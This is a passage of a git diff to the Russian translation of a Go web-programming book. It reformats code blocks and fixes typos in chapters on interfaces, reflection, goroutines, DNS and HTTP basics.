string) - SpendSalary(amount float32) - } - +```Go +type Human struct { + name string + age int + phone string +} + +type Student struct { + Human + school string + loan float32 +} + +type Employee struct { + Human + company string + money float32 +} + +func (h *Human) SayHi() { + fmt.Printf("Привет, я - %s, мой номер телефона - %s\n", h.name, h.phone) +} + +func (h *Human) Sing(lyrics string) { + fmt.Println("Ля ля, ля ля ля, ля ля ля ля ля...", lyrics) +} + +func (h *Human) Guzzle(beerStein string) { + fmt.Println("Guzzle Guzzle Guzzle...", beerStein) +} + +// Employee перегружает метод SayHi +func (e *Employee) SayHi() { + fmt.Printf("Привет, я - %s, я работаю в %s. Звоните мне по номеру %s\n", e.name, + e.company, e.phone) //Да, можно разбить строку на 2 строки. +} + +func (s *Student) BorrowMoney(amount float32) { + s.loan += amount // (снова и снова...) +} + +func (e *Employee) SpendSalary(amount float32) { + e.money -= amount +} + +// определяем интерфейс +type Men interface { + SayHi() + Sing(lyrics string) + Guzzle(beerStein string) +} + +type YoungChap interface { + SayHi() + Sing(song string) + BorrowMoney(amount float32) +} + +type ElderlyGent interface { + SayHi() + Sing(song string) + SpendSalary(amount float32) +} +``` Интерфейс может быть реализован любым типом данных, и один тип может реализовывать несколько интерфейсов одновременно. Заметьте, что все типы реализуют пустой интерфейс `interface{}`, так как у него нет методов, а все типы изначально также не имеют методов. @@ -92,95 +92,95 @@ Итак, какие типы значений может принимать интерфейс? Если мы определили переменную типа interface, то значение любого типа, который реализует этот интерфейс, может быть присвоено этой переменной. Как в примере выше, если мы определили переменную "m" как интерфейс Men, то все значения типа Student, Human или Employee могут быть присвоены переменной "m". Так что у нас может быть срез элементов типа Men, и значение любого типа, реализующего интерфейс Men, может присвоено элементам этого среза. Но имейте в виду, что срез элементов типа interface не ведет себя так же, как срез из элементов других типов. - - package main - - import "fmt" - - type Human struct { - name string - age int - phone string - } - - type Student struct { - Human - school string - loan float32 - } - - type Employee struct { - Human - company string - money float32 - } - - func (h Human) SayHi() { - fmt.Printf("Привет, я - %s, мой номер телефона - %s\n", h.name, h.phone) - } - - func (h Human) Sing(lyrics string) { - fmt.Println("Ля ля ля ля...", lyrics) - } - - func (e Employee) SayHi() { - fmt.Printf("Привет, я - %s, я работаю в %s. Звоните мне по номеру %s\n", e.name, - e.company, e.phone) //Да, здесь можно разбить строку на две. - } - - // Интерфейс Men реализуется типами Human, Student и Employee - type Men interface { - SayHi() - Sing(lyrics string) - } - - func main() { - mike := Student{Human{"Майк", 25, "222-222-XXX"}, "MIT", 0.00} - paul := Student{Human{"Пол", 26, "111-222-XXX"}, "Harvard", 100} - sam := Employee{Human{"Сэм", 36, "444-222-XXX"}, "Golang Inc.", 1000} - tom := Employee{Human{"Сэм", 36, "444-222-XXX"}, "Things Ltd.", 5000} - - // определяем интерфейс i - var i Men - - //i может быть Student - i = mike - fmt.Println("Это Майк, студент:") - i.SayHi() - i.Sing("November rain") - - //i может быть Employee - i = tom - fmt.Println("Это Том, работник:") - i.SayHi() - i.Sing("Born to be wild") - - // срез из элементов типа Men - fmt.Println("Давайте создадим срез из Men и посмотрим, что получится") - x := make([]Men, 3) - // Эти три элемента относятся к разным типам, но все они реализуют интерфейс Men - x[0], x[1], x[2] = paul, sam, mike - - for _, value := range x { - value.SayHi() - } - } - +```Go +package main + +import "fmt" + +type Human struct { + name string + age int + phone string +} + +type Student struct { + Human + school string + loan float32 +} + +type Employee struct { + Human + company string + money float32 +} + +func (h Human) SayHi() { + fmt.Printf("Привет, я - %s, мой номер телефона - %s\n", h.name, h.phone) +} + +func (h Human) Sing(lyrics string) { + fmt.Println("Ля ля ля ля...", lyrics) +} + +func (e Employee) SayHi() { + fmt.Printf("Привет, я - %s, я работаю в %s. Звоните мне по номеру %s\n", e.name, + e.company, e.phone) //Да, здесь можно разбить строку на две. +} + +// Интерфейс Men реализуется типами Human, Student и Employee +type Men interface { + SayHi() + Sing(lyrics string) +} + +func main() { + mike := Student{Human{"Майк", 25, "222-222-XXX"}, "MIT", 0.00} + paul := Student{Human{"Пол", 26, "111-222-XXX"}, "Harvard", 100} + sam := Employee{Human{"Сэм", 36, "444-222-XXX"}, "Golang Inc.", 1000} + tom := Employee{Human{"Сэм", 36, "444-222-XXX"}, "Things Ltd.", 5000} + + // определяем интерфейс i + var i Men + + //i может быть Student + i = mike + fmt.Println("Это Майк, студент:") + i.SayHi() + i.Sing("November rain") + + //i может быть Employee + i = tom + fmt.Println("Это Том, работник:") + i.SayHi() + i.Sing("Born to be wild") + + // срез из элементов типа Men + fmt.Println("Давайте создадим срез из Men и посмотрим, что получится") + x := make([]Men, 3) + // Эти три элемента относятся к разным типам, но все они реализуют интерфейс Men + x[0], x[1], x[2] = paul, sam, mike + + for _, value := range x { + value.SayHi() + } +} +``` Интерфейс - это набор абстрактных методов, он может быть реализован типами, не являющимися интерфейсами. Поэтому он не может быть реализован самим собой. ### Пустой интерфейс -Пустой интерфейс - это интерфейс, который не содержит методов. Это очен полезно, если мы хотим хранить данные любого типа в одном месте, и это похоже на void* в C. - - // Определим a как пустой интерфейс - var a interface{} - var i int = 5 - s := "Привет, мир!" - // a может принимать значение любого типа - a = i - a = s - +Пустой интерфейс - это интерфейс, который не содержит методов. Это очень полезно, если мы хотим хранить данные любого типа в одном месте, и это похоже на void* в C. +```Go +// Определим a как пустой интерфейс +var a interface{} +var i int = 5 +s := "Привет, мир!" +// a может принимать значение любого типа +a = i +a = s +``` Если функция использует пустой интерфейс в качестве входного аргумента, она может принимать значения любого типа; если функция использует пустой интерфейс в качестве возвращаемого значения, она может возвращать значения любого типа. ### Интерфейсы как аргументы методов @@ -189,42 +189,44 @@ Например, мы много используем fmt.Println, но Вы замечали, что эта команда может принимать в качестве аргумента данные любого типа? Заглянув в исходный код пакета fmt, мы можем найти следующее определение: - type Stringer interface { - String() string - } - -Это значит, что любой тип, реализующий интерфейс Stringer, может быть передан в качестве аргумента в fmt.Println. Давайте докажем это: - - package main - - import ( - "fmt" - "strconv" - ) - - type Human struct { - name string - age int - phone string - } - - // Human реализует fmt.Stringer - func (h Human) String() string { - return "Имя:" + h.name + ", Возраст:" + strconv.Itoa(h.age) + " years, Контакт:" + h.phone - } - - func main() { - Bob := Human{"Боб", 39, "000-7777-XXX"} - fmt.Println("Этот человек: ", Bob) - } +```Go +type Stringer interface { + String() string +} +``` +Это значит, что любой тип, реализующий интерфейс Stringer, может быть передан в качестве аргумента в fmt.Println. Давайте докажем это: +```Go +package main + +import ( + "fmt" + "strconv" +) + +type Human struct { + name string + age int + phone string +} + +// Human реализует fmt.Stringer +func (h Human) String() string { + return "Имя:" + h.name + ", Возраст:" + strconv.Itoa(h.age) + " years, Контакт:" + h.phone +} + +func main() { + Bob := Human{"Боб", 39, "000-7777-XXX"} + fmt.Println("Этот человек: ", Bob) +} +``` Возвращаясь к примеру с Box можно обнаружить, что Color также реализует интерфейс Stringer, поэтому у нас есть возможность изменить формат вывода информации. Если не реализовать этот интерфейс, fmt.Println выведет тип на печать в формате по умолчанию. - - fmt.Println("Самая большая коробка: ", boxes.BiggestsColor().String()) - fmt.Println("Самая большая коробка: ", boxes.BiggestsColor()) - -Внимание: Если тип реализует интерфейс `error`, fmt вызовет `error()`, поэтому в этом случае Вам не надо реализовывать Stringer. +```Go +fmt.Println("Самая большая коробка: ", boxes.BiggestsColor().String()) +fmt.Println("Самая большая коробка: ", boxes.BiggestsColor()) +``` +Внимание: Если тип реализует интерфейс `error`, fmt вызовет `Error()`, поэтому в этом случае Вам не надо реализовывать Stringer. ### Тип переменной в интерфейсе @@ -237,90 +239,90 @@ Если element является переменной типа, который мы указали, ok будет равен true, иначе - false. Чтобы было понятнее, посмотрим на пример: - - package main - - import ( - "fmt" - "strconv" - ) - - type Element interface{} - type List []Element - - type Person struct { - name string - age int - } - - func (p Person) String() string { - return "(Имя: " + p.name + " - возраст: " + strconv.Itoa(p.age) + " лет)" - } - - func main() { - list := make(List, 3) - list[0] = 1 // целочисленный тип - list[1] = "Привет" // строка - list[2] = Person{"Деннис", 70} - - for index, element := range list { - if value, ok := element.(int); ok { - fmt.Printf("list[%d] - это целое число, его значение - %d\n", index, value) - } else if value, ok := element.(string); ok { - fmt.Printf("list[%d] - это строка, его значение - %s\n", index, value) - } else if value, ok := element.(Person); ok { - fmt.Printf("list[%d] - это Person, его значение %s\n", index, value) - } else { - fmt.Printf("list[%d] - это данные какого-то другого типа\n", index) - } +```Go +package main + +import ( + "fmt" + "strconv" +) + +type Element interface{} +type List []Element + +type Person struct { + name string + age int +} + +func (p Person) String() string { + return "(Имя: " + p.name + " - возраст: " + strconv.Itoa(p.age) + " лет)" +} + +func main() { + list := make(List, 3) + list[0] = 1 // целочисленный тип + list[1] = "Привет" // строка + list[2] = Person{"Деннис", 70} + + for index, element := range list { + if value, ok := element.(int); ok { + fmt.Printf("list[%d] - это целое число, его значение - %d\n", index, value) + } else if value, ok := element.(string); ok { + fmt.Printf("list[%d] - это строка, его значение - %s\n", index, value) + } else if value, ok := element.(Person); ok { + fmt.Printf("list[%d] - это Person, его значение %s\n", index, value) + } else { + fmt.Printf("list[%d] - это данные какого-то другого типа\n", index) } } - +} +``` Пользоваться этим шаблоном довольно-таки просто, но если надо протестировать много типов, лучше воспользоваться `switch`. - тест с использованием switch Давайте перепишем наш пример с использованием `switch`. - - package main - - import ( - "fmt" - "strconv" - ) - - type Element interface{} - type List []Element - - type Person struct { - name string - age int - } - - func (p Person) String() string { - return "(Имя: " + p.name + " - возраст: " + strconv.Itoa(p.age) + " лет)" - } - - func main() { - list := make(List, 3) - list[0] = 1 // целое число - list[1] = "Hello" // строка - list[2] = Person{"Деннис", 70} - - for index, element := range list { - switch value := element.(type) { - case int: - fmt.Printf("list[%d] - целое число, его значение - %d\n", index, value) - case string: - fmt.Printf("list[%d] - строка, его значение - %s\n", index, value) - case Person: - fmt.Printf("list[%d] - Person, его значение - %s\n", index, value) - default: - fmt.Println("list[%d] - данные какого-то другого типа", index) - } +```Go +package main + +import ( + "fmt" + "strconv" +) + +type Element interface{} +type List []Element + +type Person struct { + name string + age int +} + +func (p Person) String() string { + return "(Имя: " + p.name + " - возраст: " + strconv.Itoa(p.age) + " лет)" +} + +func main() { + list := make(List, 3) + list[0] = 1 // целое число + list[1] = "Hello" // строка + list[2] = Person{"Деннис", 70} + + for index, element := range list { + switch value := element.(type) { + case int: + fmt.Printf("list[%d] - целое число, его значение - %d\n", index, value) + case string: + fmt.Printf("list[%d] - строка, его значение - %s\n", index, value) + case Person: + fmt.Printf("list[%d] - Person, его значение - %s\n", index, value) + default: + fmt.Println("list[%d] - данные какого-то другого типа", index) } } - +} +``` Нужно запомнить, что конструкция `element.(type)` не может быть использована вне тела `switch`, в этом случае надо использовать шаблон `запятая-ok`. @@ -329,63 +331,63 @@ В синтаксисе Go существует множество встроенной логики, такой, например, как анонимные поля в структуре. Неудивительно, что мы можем использовать в качестве анонимных полей и интерфейсы тоже, но называются они `Встроенные интерфейсы`. В этом случае мы следуем тем же правилам, что и в случае со встроенными полями. А точнее, если в интерфейс встроен другой интерфейс, то этот интерфейс будет иметь в себе все методы встроенного интерфейса. В исходном коде пакета `container/heap` мы можем видеть следующее определение: - - type Interface interface { - sort.Interface // встраиваемый sort.Interface - Push(x interface{}) // метод Push для того, чтобы помещать элементы в кучу - Pop() interface{} // метод Pop, который изымает элементы из кучи - } - +```Go +type Interface interface { + sort.Interface // встраиваемый sort.Interface + Push(x interface{}) // метод Push для того, чтобы помещать элементы в кучу + Pop() interface{} // метод Pop, который изымает элементы из кучи +} +``` Мы видим, что `sort.Interface` является встраиваемым интерфейсом, поэтому в Interface неявно присутствуют три метода, содержащиеся внутри `sort.Interface`: - - type Interface interface { - // Len - количество элементов в коллекции - Len() int - // Less определяет, надо ли перемещать элемент с индексом i - // перед элементом с индексом j. - Less(i, j int) bool - // Swap меняем местами элементы с индексами i и j. - Swap(i, j int) - } - +```Go +type Interface interface { + // Len - количество элементов в коллекции + Len() int + // Less определяет, надо ли перемещать элемент с индексом i + // перед элементом с индексом j. + Less(i, j int) bool + // Swap меняем местами элементы с индексами i и j. + Swap(i, j int) +} +``` Другой пример - `io.ReadWriter` из пакета `io`. - - // io.ReadWriter - type ReadWriter interface { - Reader - Writer - } - +```Go +// io.ReadWriter +type ReadWriter interface { + Reader + Writer +} +``` ### Рефлексия Рефлексия в Go используется для определения информации во время выполнения программы. Мы пользумеся пакетом `reflect`, и эта официальная [статья](http://golang.org/doc/articles/laws_of_reflection.html) объясняет, как reflect работает в Go. В процессе использования reflect задействованы 3 шага. Во-первых, нужно конвертировать интерфейс в типы reflect (reflect.Type или reflect.Value в зависимости от ситуации). - - t := reflect.TypeOf(i) // получает мета-данные типа i в переменную t - v := reflect.ValueOf(i) // получает значение типа i в переменную v - -После этого мы может конвертировать типы, полученные в результате рефлексии, для того, чтобы получить нужные нам значения. - - var x float64 = 3.4 - v := reflect.ValueOf(x) - fmt.Println("Тип:", v.Type()) - fmt.Println("Вид является float64:", v.Kind() == reflect.Float64) - fmt.Println("Значение:", v.Float()) - +```Go +t := reflect.TypeOf(i) // получает мета-данные типа i в переменную t +v := reflect.ValueOf(i) // получает значение типа i в переменную v +``` +После этого мы можем конвертировать типы, полученные в результате рефлексии, для того, чтобы получить нужные нам значения. +```Go +var x float64 = 3.4 +v := reflect.ValueOf(x) +fmt.Println("Тип:", v.Type()) +fmt.Println("Вид является float64:", v.Kind() == reflect.Float64) +fmt.Println("Значение:", v.Float()) +``` Наконец, если мы хотим изменить значения типов, полученных в результате рефлексии, нам нужно сделать их изменяемыми. Как было обсуждено ранее, есть разница между передачей по ссылке и по значению. Следующий код не скомпилируется: - - var x float64 = 3.4 - v := reflect.ValueOf(x) - v.SetFloat(7.1) - +```Go +var x float64 = 3.4 +v := reflect.ValueOf(x) +v.SetFloat(7.1) +``` Вместо этого для изменения значений типов, полученных в результате рефлексии, нам нужно использовать следующий код: - - var x float64 = 3.4 - p := reflect.ValueOf(&x) - v := p.Elem() - v.SetFloat(7.1) - +```Go +var x float64 = 3.4 +p := reflect.ValueOf(&x) +v := p.Elem() +v.SetFloat(7.1) +``` Мы здесь обсудили основы рефлексии, однако, чтобы больше понять, Вы должны больше практиковаться. ## Ссылки diff --git a/ru/02.7.md b/ru/02.7.md index b2cb77f2f..c5af95c34 100644 --- a/ru/02.7.md +++ b/ru/02.7.md @@ -47,7 +47,7 @@ Go называют C 21 века. Я думаю, этому есть две п runtime.Gosched() говорит процессору, что нужно исполнить другие горутины и вернуться затем назад. -Для того, чтобы запустить все горутины, планировщик использует только один поток, что означает, что он один реализует многопоточность. Если для задействования преимущества параллельных процессов Вам надо использовать больше ядер процессора, Вам нужно вызвать runtime.GOMAXPROCS(n), чтобы установить количество ядер, которые Вы хотите использовать. Если `n<1`, эта команда ничего не меняет. В будущем эта функция может быть убрана, больше деталей о параллельных процессах и многопоточности смотрите в этой [статье](http://concur.rspace.googlecode.com/hg/talk/concur.html#landing-slide). +Для того, чтобы запустить все горутины, планировщик использует только один поток, что означает, что он один реализует многопоточность. Если для задействования преимущества параллельных процессов Вам надо использовать больше ядер процессора, Вам нужно вызвать runtime.GOMAXPROCS(n), чтобы установить количество ядер, которые Вы хотите использовать. Если `n<1`, эта команда ничего не меняет. В будущем эта функция может быть убрана, больше деталей о параллельных процессах и многопоточности смотрите в этой [статье](https://blog.golang.org/concurrency-is-not-parallelism). ## Каналы @@ -60,7 +60,7 @@ runtime.Gosched() говорит процессору, что нужно исп Для того, чтобы посылать и принимать данные, `канал` использует оператор `<-`. ch <- v // посылаем v в канал ch. - v := <-ch // получаем данные из c, присваиваем их v + v := <-ch // получаем данные из ch, присваиваем их v Посмотрим еще на примеры: @@ -91,7 +91,7 @@ runtime.Gosched() говорит процессору, что нужно исп ## Буферизованные каналы -Выше я говорил о небуферизованных каналах. В Go также есть буферизованные каналы, которые могут хранить больше, чем один элемент. Нарпимер, `ch := make(chan bool, 4)`, здесь мы создали канал, который может содержать 4 булевых элемента. Поэтому в этот канал мы можем послать до 4 булевых элементов, и горутина не заблокриуется, но она заблокируется, когда Вы попытаетесь послать в канал пятый элемент, и ни одна горутина его не примет. +Выше я говорил о небуферизованных каналах. В Go также есть буферизованные каналы, которые могут хранить больше, чем один элемент. Нарпимер, `ch := make(chan bool, 4)`, здесь мы создали канал, который может содержать 4 булевых элемента. Поэтому в этот канал мы можем послать до 4 булевых элементов, и горутина не заблокируется, но она заблокируется, когда Вы попытаетесь послать в канал пятый элемент, и ни одна горутина его не примет. ch := make(chan type, n) diff --git a/ru/03.0.md b/ru/03.0.md index c4230df74..ffe01c5c4 100644 --- a/ru/03.0.md +++ b/ru/03.0.md @@ -1,6 +1,6 @@ -#3 Основы Веба +# 3. Основы Веба -Основной причиной, по которой вы читаете эту книгу, является желание научиться создавать веб-приложения на языке Go. Как я уже говорил ранее, Go предоставляет много мощных пакетов, способных справляться с этой задачей, например пакет «http». Этот пакет поможет вам создавать web-приложения. Я объясню Вам все что вы должны знать о разработке веб-приложений в следующих главах, а сейчас мы поговорим о концепции Веба и о том как запускать веб-приложения в Go. +Основной причиной, по которой вы читаете эту книгу, является желание научиться создавать веб-приложения на языке Go. Как я уже говорил ранее, Go предоставляет много мощных пакетов, способных справляться с этой задачей, например пакет «http». Этот пакет поможет вам создавать web-приложения. Я объясню Вам все, что вы должны знать о разработке веб-приложений, в следующих главах, а сейчас мы поговорим о концепции Веба и о том, как запускать веб-приложения в Go. ## Ссылки diff --git a/ru/03.1.md b/ru/03.1.md index a0731d125..680d98453 100644 --- a/ru/03.1.md +++ b/ru/03.1.md @@ -1,8 +1,8 @@ -# Принципы работы веб +# 3.1 Принципы работы веб -Каждый раз, когда Вы открываете браузер, вводите URL-адрес, и нажмите клавишу enter, вы видите красивые веб-страницы на вашем экране. Но знаете ли вы, что стоит за этим простым действием? +Каждый раз, когда Вы открываете браузер, вводите URL-адрес и нажимаете клавишу enter, вы видите красивые веб-страницы на вашем экране. Но знаете ли вы, что стоит за этим простым действием? -Обычно, Ваш браузер, как клиент, отправляет запрос к DNS серверу и получает IP адрес соответствующий введенному Вами URL. Затем он находит соответствующий сервер по IP-адресу и запрашивает установку TCP-соединения. Когда браузер закончит отправку HTTP запросов, сервер запускает обработку этих запросов и затем возвращает пакеты HTTP ответов в Ваш браузер. И, наконец, браузер отрисовывает текст веб-страниц и отключается от сервера. +Обычно ваш браузер, как клиент, отправляет запрос к DNS серверу и получает IP адрес, соответствующий введенному вами URL. Затем он находит соответствующий сервер по IP-адресу и запрашивает установку TCP-соединения. Когда браузер закончит отправку HTTP запросов, сервер запускает обработку этих запросов и затем возвращает пакеты HTTP ответов в ваш браузер. И, наконец, браузер отрисовывает текст веб-страниц и отключается от сервера. ![](images/3.1.web2.png?raw=true) @@ -23,19 +23,19 @@ Мы всегда используем URL для доступа к веб-страницам, но знаете ли вы как работает URL? -URL расшифровывется как Uniform Resource Locator, в переводе на Русский - единый указатель ресурса. URL служит стандартизированным способом записи адреса ресурса в сети Интернет. Структура URL в общем виде выглядит следующим образом: +URL расшифровывается как Uniform Resource Locator, в переводе на русский - единый указатель ресурса. URL служит стандартизированным способом записи адреса ресурса в сети Интернет. Структура URL в общем виде выглядит следующим образом: <схема>://<хост>:<порт>/?<параметры>#<якорь> <схема> назначение базового протокола (например, HTTP, HTTPS, ftp) - <хост> IP-адрес или доменное имя HTTP сервера + <хост> IP-адрес или доменное имя HTTP сервера <порт> по умолчанию используется порт 80, в этом случае данный параметр обычно не указывается Если вы хотите использовать другие порты, необходимо указать, какой порт нужно использовать. Например, http://www.cnblogs.com:8080/ путь к ресурсу <параметры> данные, которые будут отправлены на сервер - <якорь> якорь + <якорь> якорь -DNS-это аббревиатура  Domain Name System - система доменных имен. Это система имен для компьютерных сетевых служб , которая преобразует доменное имя в фактические IP-адреса (своеобразный переводчик). +DNS - это аббревиатура Domain Name System - система доменных имен. Это система имен для компьютерных сетевых служб, которая преобразует доменное имя в фактические IP-адреса (своеобразный переводчик). ![](images/3.1.dns_hierachy.png?raw=true) @@ -43,12 +43,12 @@ DNS-это аббревиатура  Domain Name System - система до Для понимания принципов работы DNS давайте подробно рассмотрим процесс разрешения имен DNS. -1. После того как вы введете доменное имя в вашем браузере (например `www.qq.com`), операционная система должна проверить существует ли сопоставление IP адреса данному доменному имени в файле hosts на вашем компьютере, если такое соответсвие найдено, разрешение имени завершается. -2. Если соотвествие в hosts не найдено, операционная система должна проверить локальный кэш DNS. Если в локальном кэше соответствие найдено, то разрешение доменного имени завершается. -3. Если соответсвие не найдено ни в hosts ни в кэше DNS, операционная система находит первый по списку сервер DNS, обозначенный в настройках TCP/IP, который, как правило, является локальным DNS сервером. Когда локальный DNS-сервер получает запрос, он проверяет содержится ли запрашиваемое доменное имя в локальной конфигурации региональных ресурсов, а затем возвращает результаты клиенту. Это разрешение DNS является авторитетным. +1. После того, как вы введете доменное имя в вашем браузере (например `www.qq.com`), операционная система должна проверить, существует ли сопоставление IP адреса данному доменному имени в файле hosts на вашем компьютере, если такое соответствие найдено, разрешение имени завершается. +2. Если соответствие в hosts не найдено, операционная система должна проверить локальный кэш DNS. Если в локальном кэше соответствие найдено, то разрешение доменного имени завершается. +3. Если соответствие не найдено ни в hosts ни в кэше DNS, операционная система находит первый по списку сервер DNS, обозначенный в настройках TCP/IP, который, как правило, является локальным DNS сервером. Когда локальный DNS-сервер получает запрос, он проверяет, содержится ли запрашиваемое доменное имя в локальной конфигурации региональных ресурсов, а затем возвращает результаты клиенту. Это разрешение DNS является авторитетным. 4. Если локальный DNS не содержит информацию о доменном имени и соответствия не найдены в кэше, локальный DNS сервер возвращает этот результат клиенту. Это разрешение DNS не является авторитетным. -5. Если локальный DNS не смог разрешить данное доменное имя локальной конфигурацией региональных ресурсов или кэшем, он переходит к следующему шагу, зависящему от локальных настроек DNS сервера. Если локальный DNS не является рекурсивным, он отправляет запрос к корневому DNS серверу, а затем возвращает IP адреса DNS серверов верхнего уровня, которые могут знать доменное имя `.com` в нашем примере. Если первый DNS сервер верхнего уровня ничего не знает о запрашиваемом имени, он отправляет запрос следующему верхнеуровневому DNS и так происходит до тех пор, пока кто нибудь из них не узнает доменное имя. Затем DNS сервер верхнего уровня запрашивает у DNS сервера следующего уровня информацию о домене `qq.com`, затем находит информацию о домене `www.qq.com` на других серверах. -6. Если DNS сервер является рекурсивным, он отправляет запрос DNS серверу более высоко уровня. Если DNS сервер более высокого уровня так же не знает имя домена, он продолжает посылать запрос на более высокий уровень. Если локальныйй DNS является рекурсивным, разрешенное в IP адрес доменное имя возвращается к локальному DNS серверу, который, в свою очередь, отправляет его клиенту. +5. Если локальный DNS не смог разрешить данное доменное имя локальной конфигурацией региональных ресурсов или кэшем, он переходит к следующему шагу, зависящему от локальных настроек DNS сервера. Если локальный DNS не является рекурсивным, он отправляет запрос к корневому DNS серверу, а затем возвращает IP адреса DNS серверов верхнего уровня, которые могут знать доменное имя `.com` в нашем примере. Если первый DNS сервер верхнего уровня ничего не знает о запрашиваемом имени, он отправляет запрос следующему верхнеуровневому DNS и так происходит до тех пор, пока кто-нибудь из них не узнает доменное имя. Затем DNS сервер верхнего уровня запрашивает у DNS сервера следующего уровня информацию о домене `qq.com`, затем находит информацию о домене `www.qq.com` на других серверах. +6. Если DNS сервер является рекурсивным, он отправляет запрос DNS серверу более высоко уровня. Если DNS сервер более высокого уровня также не знает имя домена, он продолжает посылать запрос на более высокий уровень. Если локальный DNS является рекурсивным, разрешенное в IP адрес доменное имя возвращается к локальному DNS серверу, который, в свою очередь, отправляет его клиенту. ![](images/3.1.dns_inquery.png?raw=true) @@ -56,45 +56,45 @@ DNS-это аббревиатура  Domain Name System - система до Термином `Рекурсия` в DNS обозначают алгоритм поведения DNS-сервера, при котором сервер выполняет от имени клиента полный поиск нужной информации во всей системе DNS, при необходимости обращаясь к другим DNS-серверам. -Теперь мы знаем как происходит преобразование доменного имени в IP адрес. Браузеры взаимодействуют с серверами посредством IP-адресов. +Теперь мы знаем, как происходит преобразование доменного имени в IP адрес. Браузеры взаимодействуют с серверами посредством IP-адресов. ## HTTP-протокол -Протокол HTTP является ключевой частью веб-приложений. Необходимо полное понимание HTTP протокола прежде чем вы сможете понять как работает веб. +Протокол HTTP является ключевой частью веб-приложений. Необходимо полное понимание HTTP протокола прежде чем вы сможете понять, как работает веб. HTTP — протокол, который используется для обмена данными между браузерами и веб-серверами. Он базируется на протоколе TCP и обычно использует 80-й порт на стороне веб-сервера. HTTP использует модель запрос - ответ: клиент отправляет запрос, а сервер возвращает ответ. В соответствии с HTTP протоколом, клиент всегда устанавливает новое соединение с сервером и отправляет HTTP новый запрос. Сервер не может подключиться к клиенту проактивно (или установить обратное соединение). Связь между клиентом и сервером может быть закрыта с обеих сторон. Например вы всегда можете отменить загрузку файла и прервать HTTP соединение. Это приведет к отключению от сервера до завершения процесса загрузки. -HTTP является протоколом независимой обработки соединений. Это означает, что сервер не имеет ни какого представления о взаимосвязи между двумя соединениями, даже не смотря на то, что они от одного клиента. Для решения этой проблемы, веб-приложения используют файлы cookie для сохранения информации о состоянии соединений. +HTTP является протоколом независимой обработки соединений. Это означает, что сервер не имеет никакого представления о взаимосвязи между двумя соединениями, даже несмотря на то, что они от одного клиента. Для решения этой проблемы веб-приложения используют файлы cookie для сохранения информации о состоянии соединений. Поскольку HTTP протокол базируется на TCP протоколе, все атаки, характерные для TCP, такие как: SYN Flood, DoS and DDoS, будут влиять на связь по протоколу HTTP. ### HTTP запрос (информация о браузере) -Все пакеты запросов состоят из трех частей: строка запроса, заголовок запроса и тело запроса. Между заголовкам запроса и телом запроса идет онда пустая строка. +Все пакеты запросов состоят из трех частей: строка запроса, заголовок запроса и тело запроса. Между заголовком запроса и телом запроса идет одна пустая строка. GET /domains/example/ HTTP/1.1 // request line: request method, URL, protocol and its version Host:www.iana.org // имя домена User-Agent:Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.4 (KHTML, like Gecko) Chrome/22.0.1229.94 Safari/537.4 //информация о браузере - Accept:text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 // означает что клиент может принимать запросы + Accept:text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 // означает, что клиент может принимать запросы Accept-Encoding:gzip,deflate,sdch // потоковое сжатие Accept-Charset:UTF-8,*;q=0.5 // кодировка на стороне клиента // пустая строка // тело, запрос ресурсов, аргументы (например аргументы, переданные в POST) -Мы используем fiddler, для получения сведений о запросах. +Мы используем fiddler для получения сведений о запросах. ![](images/3.1.http.png?raw=true) -Рисунок 3.4 Информация о методе GET перехваченная fiddler +Рисунок 3.4 Информация о методе GET, перехваченная fiddler ![](images/3.1.httpPOST.png?raw=true) -Рисунок 3.5 информация о методе POST перехваченная fiddler +Рисунок 3.5 информация о методе POST, перехваченная fiddler **Обратите внимание, что метод GET не имеет тела запроса, а метод POST имеет** -Есть много методов, которые можно использовать для взаимодействия с серверами по HTTP. Четыре основных метода, которые мы будем использовать это GET, POST, PUT, DELETE. Эти четыре метода означают запрос, изменение, добавление и удаление соответственно. GET и POST используются в HTTP чаще всего. GET добавляет данные в URL и использует `?` в качестве разделителя данных, а `&` в качестве разделителя аргументов. Например: `EditPosts.aspx?name=test1&id=123456`. -POST помещает данные в теле запроса, поскольку URL имеет ограничение длины заданное браузером, так что POST может предоставить гораздо больше данных, чем метод GET. Например, когда мы отправляем на сервер логин и пароль весьма не желательно чтобы эта информация содержалась в URL запроса, поэтому, логичнее было бы использовать для передачи таких данных метод POST, чтобы сделать их невидимыми. +Есть много методов, которые можно использовать для взаимодействия с серверами по HTTP. Четыре основных метода, которые мы будем использовать, это GET, POST, PUT, DELETE. Эти четыре метода означают запрос, изменение, добавление и удаление соответственно. GET и POST используются в HTTP чаще всего. GET добавляет данные в URL и использует `?` в качестве разделителя данных, а `&` в качестве разделителя аргументов. Например: `EditPosts.aspx?name=test1&id=123456`. +POST помещает данные в теле запроса, поскольку URL имеет ограничение длины, заданное браузером, так что POST может предоставить гораздо больше данных, чем метод GET. Например, когда мы отправляем на сервер логин и пароль, то весьма нежелательно, чтобы эта информация содержалась в URL запроса, поэтому, логичнее было бы использовать для передачи таких данных метод POST, чтобы сделать их невидимыми. ### HTTP ответ (сведения от сервера) @@ -104,17 +104,17 @@ POST помещает данные в теле запроса, поскольк Server: nginx/1.0.8 // название сервера и его версия Date:Date: Tue, 30 Oct 2012 04:14:25 GMT // время ответа Content-Type: text/html // тип данных ответа - Transfer-Encoding: chunked // это означает что данные были отправлены фрагментами + Transfer-Encoding: chunked // это означает, что данные были отправлены фрагментами Connection: keep-alive // сохранить подключение - Content-Length: 90 // длинна тела (размер) + Content-Length: 90 // длина тела (размер) // пустая строка -Эта форма отправит данные по адресу `/login` на сервер. После того, как пользователь нажем кнопку "Войти", данные будут посланы на хэндлер `login`, зарегистрированный маршрутизатором сервера. Нам нужно знать, какой метод используется при этом - POST или GET? +Эта форма отправит данные по адресу `/login` на сервер. После того, как пользователь нажмет кнопку "Войти", данные будут посланы на хэндлер `login`, зарегистрированный маршрутизатором сервера. Нам нужно знать, какой метод используется при этом - POST или GET? Это легко узнать при помощи пакета `http`. Давайте посмотрим, как обработать данные формы со страницы входа: @@ -55,7 +55,7 @@ fmt.Println("Пароль:", r.Form["password"]) } } - + func main() { http.HandleFunc("/", sayhelloName) // устанавливаем правила маршрутизатора http.HandleFunc("/login", login) @@ -84,9 +84,9 @@ ![](images/4.1.slice.png?raw=true) -Рисунок 4.2 Сервер печатает данные запроса +Рисунок 4.2 Сервер печатает данные запроса -Тип поля `request.Form` - это `url.Value`. Данные в нем сохраняются в формате `ключ=значение`. +Тип поля `request.Form` - это `url.Values`. Данные в нем сохраняются в формате 